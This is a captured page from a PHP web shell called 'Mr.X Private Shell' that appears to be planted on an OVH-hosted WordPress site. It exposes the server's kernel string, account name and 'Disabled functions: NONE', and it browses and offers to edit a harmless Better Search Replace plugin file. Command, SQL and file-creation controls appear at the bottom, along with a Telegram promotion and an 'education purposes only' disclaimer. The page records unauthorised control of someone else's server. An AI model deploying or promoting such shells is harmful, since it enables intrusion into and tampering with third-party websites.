Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///better-search-replace/includes      ( Reset | Go to )
File Name: class-bsr-templates-helper.php
Edit
<?php

// Prevent direct access.
if ( ! defined'BSR_PATH' ) ) exit;

class 
BSR_Templates_Helper {
    
/**
     * Returns a fully qualified path for the given active tab name
     * if the file name is not supported, the default template path is returned.
     *
     * @param string $active_tab
     * @return string
     */
    
public static function get_tab_template($active_tab) {
        switch(
$active_tab) {
            case 
'bsr_settings':
                return 
BSR_PATH 'templates/bsr-settings.php';
            case 
'bsr_help':
                return 
BSR_PATH 'templates/bsr-help.php';
            default:
                return 
BSR_PATH 'templates/bsr-search-replace.php';
        }
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL